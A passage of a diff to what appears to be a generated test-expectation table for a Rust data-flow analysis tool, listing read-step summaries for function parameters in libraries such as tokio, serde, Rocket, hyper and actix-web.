Argument[0].Field[crate::result::Result::Err(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::recv_msg | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/hyperium/hyper:hyper::_::::recv_msg | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::recv_msg | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/hyperium/hyper:hyper::_::::recv_msg | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::recv_msg | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/matklad/once_cell:once_cell::_::::get_or_try_init | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/matklad/once_cell:once_cell::_::::get_or_try_init | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/matklad/once_cell:once_cell::_::::get_or_init | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/matklad/once_cell:once_cell::_::::get_or_init | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/matklad/once_cell:once_cell::_::::get_or_try_init | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/matklad/once_cell:once_cell::_::::get_or_try_init | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/matklad/once_cell:once_cell::_::::get_or_try_init | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/matklad/once_cell:once_cell::_::::get_or_try_init | | file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rust-lang/regex:regex::_::crate::escape | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/rust-lang/regex:regex::_::crate::escape | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket::_::::_with_raw_cookies | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::_with_raw_cookies | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket::_::::_with_raw_cookies_mut | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::_with_raw_cookies_mut | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket::_::::_test | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::_test | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket::_::::_with_raw_cookies | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::_with_raw_cookies | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket::_::::and_then | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::and_then | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket::_::::error_then | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::error_then | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket::_::::forward_then | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::forward_then | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket::_::::ok_map_error | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::ok_map_error | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket::_::::ok_map_forward | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::ok_map_forward | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket::_::::success_or_else | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::success_or_else | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::crate::derive::form_field::first_duplicate | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::crate::derive::form_field::first_duplicate | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/serde-rs/serde:serde::_::crate::de::size_hint::cautious | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in repo:https://github.com/serde-rs/serde:serde::_::crate::de::size_hint::cautious | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_where_predicates | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_where_predicates | | file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/servo/rust-url:url::_::::parse | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/servo/rust-url:url::_::::parse | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio-test::_::::enter | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio-test::_::::enter | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::with_mut | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::with_mut | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::with | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::with | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::with_mut | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::with_mut | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::with | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::with | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::with_mut | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::with_mut | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_raw | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::downgrade_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_downgrade_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_map | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | Err | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | Ok | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::budget | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::budget | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::runtime_mt::exit_runtime | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::runtime_mt::exit_runtime | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::with_scheduler | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::with_scheduler | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::scheduler::block_in_place::block_in_place | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::scheduler::block_in_place::block_in_place | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::scheduler::multi_thread::worker::block_in_place | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::scheduler::multi_thread::worker::block_in_place | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::blocking::block_in_place | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::blocking::block_in_place | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::coop::budget | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::coop::budget | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::coop::with_unconstrained | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::task::coop::with_unconstrained | | file://:0:0:0:0 | [summary param] 1 in lang:alloc::_::::fold | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:alloc::_::::fold | | file://:0:0:0:0 | [summary param] 1 in lang:alloc::_::crate::collections::btree::mem::replace | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:alloc::_::crate::collections::btree::mem::replace | | file://:0:0:0:0 | [summary param] 1 in lang:alloc::_::crate::collections::btree::mem::take_mut | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:alloc::_::crate::collections::btree::mem::take_mut | @@ -1497,9 +1820,27 @@ readStep | file://:0:0:0:0 | [summary param] 1 in lang:std::_::crate::io::append_to_string | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::crate::io::append_to_string | | file://:0:0:0:0 | [summary param] 1 in lang:std::_::crate::sys::pal::common::small_c_string::run_path_with_cstr | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::crate::sys::pal::common::small_c_string::run_path_with_cstr | | file://:0:0:0:0 | [summary param] 1 in lang:std::_::crate::sys::pal::common::small_c_string::run_with_cstr | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in lang:std::_::crate::sys::pal::common::small_c_string::run_with_cstr | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/clap-rs/clap:clap_builder::_::::unwrap | Ok | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::result::Result::Ok(0)] in repo:https://github.com/clap-rs/clap:clap_builder::_::::unwrap | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_bound | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_bound | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_self_bound | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_self_bound | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_where_predicates_from_fields | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_where_predicates_from_fields | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_where_predicates_from_variants | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/serde-rs/serde:serde_derive::_::crate::bound::with_where_predicates_from_variants | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::finalize | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::finalize | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::finalize | &ref | file://:0:0:0:0 | [summary] read: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::finalize | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io_mut | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io_mut | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::::set | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::set | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::::sync_scope | function return | file://:0:0:0:0 | [summary] read: Argument[1].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::sync_scope | +| file://:0:0:0:0 | [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | Ok | file://:0:0:0:0 | [summary] read: Argument[1].Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | | file://:0:0:0:0 | [summary param] 2 in lang:proc_macro::_::::run_bridge_and_client | function return | file://:0:0:0:0 | [summary] read: Argument[2].ReturnValue in lang:proc_macro::_::::run_bridge_and_client | | file://:0:0:0:0 | [summary param] 2 in lang:proc_macro::_::::run_bridge_and_client | function return | file://:0:0:0:0 | [summary] read: Argument[2].ReturnValue in lang:proc_macro::_::::run_bridge_and_client | +| file://:0:0:0:0 | [summary param] 2 in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | Err | file://:0:0:0:0 | [summary] read: Argument[2].Field[crate::result::Result::Err(0)] in repo:https://github.com/tokio-rs/tokio:tokio-stream::_::::extend | +| file://:0:0:0:0 | [summary param] 2 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_to_end::read_to_end_internal | &ref | file://:0:0:0:0 | [summary] read: Argument[2].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_to_end::read_to_end_internal | +| file://:0:0:0:0 | [summary param] 2 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::runtime::enter_runtime | function return | file://:0:0:0:0 | [summary] read: Argument[2].ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::runtime::enter_runtime | | file://:0:0:0:0 | [summary param] 4 in lang:core::_::crate::num::flt2dec::to_exact_fixed_str | element | file://:0:0:0:0 | [summary] read: Argument[4].Element in lang:core::_::crate::num::flt2dec::to_exact_fixed_str | +| file://:0:0:0:0 | [summary param] 4 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::read_line_internal | &ref | file://:0:0:0:0 | [summary] read: Argument[4].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::read_line_internal | +| file://:0:0:0:0 | [summary param] 4 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_until::read_until_internal | &ref | file://:0:0:0:0 | [summary] read: Argument[4].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_until::read_until_internal | | file://:0:0:0:0 | [summary param] 5 in lang:core::_::crate::num::flt2dec::to_exact_exp_str | element | file://:0:0:0:0 | [summary] read: Argument[5].Element in lang:core::_::crate::num::flt2dec::to_exact_exp_str | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::<&&str as crate::string::SpecToString>::spec_to_string | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<&&str as crate::string::SpecToString>::spec_to_string | | file://:0:0:0:0 | [summary param] self in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | @@ -1731,6 +2072,161 @@ readStep | file://:0:0:0:0 | [summary param] self in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | | file://:0:0:0:0 | [summary param] self in lang:std::_::::duration | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::duration | | file://:0:0:0:0 | [summary param] self in lang:std::_::::as_raw_fd | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in lang:std::_::::as_raw_fd | +| file://:0:0:0:0 | [summary param] self in repo::serde_test_suite::_::::get | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo::serde_test_suite::_::::get | +| file://:0:0:0:0 | [summary param] self in repo::serde_test_suite::_::::get | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo::serde_test_suite::_::::get | +| file://:0:0:0:0 | [summary param] self in repo::serde_test_suite::_::::first | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo::serde_test_suite::_::::first | +| file://:0:0:0:0 | [summary param] self in repo::serde_test_suite::_::::second | tuple.1 | file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo::serde_test_suite::_::::second | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-files::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-files::_::::deref | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-http::_::<&crate::header::value::HeaderValue as crate::header::into_value::TryIntoHeaderValue>::try_into_value | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/actix/actix-web:actix-http::_::<&crate::header::value::HeaderValue as crate::header::into_value::TryIntoHeaderValue>::try_into_value | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-http::_::::finish | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-http::_::::finish | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-http::_::::take | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/actix/actix-web:actix-http::_::::take | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-multipart::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-multipart::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-multipart::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-multipart::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-multipart::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-multipart::_::::into_inner | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-router::_::<_ as crate::resource_path::Resource>::resource_path | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/actix/actix-web:actix-router::_::<_ as crate::resource_path::Resource>::resource_path | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-router::_::::patterns | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Reference in repo:https://github.com/actix/actix-web:actix-router::_::::patterns | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::<_ as crate::guard::Guard>::check | function return | file://:0:0:0:0 | [summary] read: Argument[self].ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::<_ as crate::guard::Guard>::check | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::<_ as crate::handler::Handler>::call | function return | file://:0:0:0:0 | [summary] read: Argument[self].ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::<_ as crate::handler::Handler>::call | +| file://:0:0:0:0 | [summary param] self in repo:https://github.com/actix/actix-web:actix-web::_::::deref | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary param] self in 